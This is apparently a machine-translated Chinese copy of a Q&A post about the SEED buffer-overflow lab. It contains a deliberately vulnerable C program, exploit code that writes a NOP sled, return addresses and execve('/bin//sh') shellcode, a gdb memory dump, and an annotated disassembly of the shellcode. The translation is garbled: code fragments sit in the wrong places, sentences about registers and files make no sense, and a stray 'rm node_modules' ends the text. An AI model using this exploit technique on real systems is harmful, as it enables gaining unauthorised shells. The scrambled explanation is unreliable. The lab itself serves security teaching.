基于堆栈的缓冲区溢出中的分段错误

时间:2017-11-23 03:49:19

标签: c assembly x86 buffer-overflow exploit

我正在进行SEED实验室缓冲区溢出,其中包含以下易受攻击的代码:

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

我试图用一个517字节的缓冲区填充它,我放入badfile。问题是我不断收到分段错误,即使内存布局看起来是正确的。

/* exploit.c */
void main(int argc, char **argv)
{
    char buffer[SIZE];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, SIZE);

    /* You need to fill the buffer with appropriate contents here */ 

    int i;
    long* ptr = (long*) buffer;
    for(i = 0; i < 16; i++)
        *(ptr+i) = EBP+64;      // this is the jump spot

    memcpy(buffer+128, shellcode, sizeof(shellcode));   // copy the shellcode

    for(i = 128+sizeof(shellcode); i < SIZE; i++)
        *(buffer+i) = 0x0;      // end the string with nul characters

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, SIZE, 1, badfile);
    fclose(badfile);
}

运行易受攻击程序时的内存布局如下:

(gdb) x/64x buffer
0xbffff0e8: 0xbffff148  0xbffff148  0xbffff148  0xbffff148
0xbffff0f8: 0xbffff148  0xbffff148  0xbffff148  0xbffff148
0xbffff108: 0xbffff148  0xbffff148  0xbffff148  0xbffff148
0xbffff118: 0xbffff148  0xbffff148  0xbffff148  0xbffff148
0xbffff128: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff138: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff148: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff158: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff168: 0x6850c031  0x68732f2f  0x69622f68  0x50e3896e
0xbffff178: 0x99e18953  0x80cd0bb0  0x90909000  0x90909090
0xbffff188: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff198: 0x90909090  0x90909090  0x90909090  0x31909090
0xbffff1a8: 0x2f6850c0  0x6868732f  0x6e69622f  0x5350e389
0xbffff1b8: 0xb099e189  0x0080cd0b  0x00000000  0x00000000
0xbffff1c8: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffff1d8: 0x00000000  0x00000000  0x00000000  0x00000000
(gdb) x/2x $ebp
0xbffff108: 0xbffff148  0xbffff148
(gdb) x/x 0xbffff148
0xbffff148: 0x90909090

然而,当我运行它时,我遇到了分段错误。为什么会发生这种情况,为什么溢出缓冲区末尾的NOP不会被0x0替换?

UPDATE:输入bof并复制字符串后,内存是stack.c的一部分。

1 个答案:

答案 0 :(得分:1)

该转储是运行exploit.c还是stack.c?在0xbffff180转储中存在NUL字节的事实意味着这是exploit.c,因为strcpy中的stack.c将停止在NUL字节处复制。如果是这种情况,那么$ebpexploit.c的值就没有意义了。您需要在$ebp bof中获得stack.c时的$ebp值。在stack.c中运行时stack.c可能有不同的值,这会导致执行跳转到垃圾。

只是为了笑容,我反汇编并注释了shellcode,尽管在 0xbffff168: 31 c0 xor %eax,%eax ; eax <- 0 0xbffff16a: 50 push %eax ; stack <- "\0\0\0" 0xbffff16b: 68 2f 2f 73 68 push $0x68732f2f ; stack <- "//sh\0\0\0" 0xbffff170: 68 2f 62 69 6e push $0x6e69622f ; stack <- "/bin//sh\0\0\0" 0xbffff175: 89 e3 mov %esp,%ebx ; ebx = "/bin//sh\0\0\0" -- filename 0xbffff177: 50 push %eax ; stack <- 0 0xbffff178: 53 push %ebx ; stack <- "/bin//sh\0\0\0", 0 0xbffff179: 89 e1 mov %esp,%ecx ; ecx = {"/bin//sh\0\0\0", 0} -- argv 0xbffff17b: 99 cltd ; edx <- 0 -- envp 0xbffff17c: b0 0b mov $0xb,%al ; al <- 0xb -- sys_execve 0xbffff17e: cd 80 int $0x80 ; sys call 中运行时地址可能不正确:

char filename[] = "/bin//sh";
char *args[2];
args[0] = filename;
args[1] = NULL;
execve(filename, args, NULL);

代码基本上是这样做的:

push %eax

奇怪的是文件名中有2个斜杠。 NUL终结符可能已包含在两个推送常量中的第一个中,从而无需使用第一个rm node_modules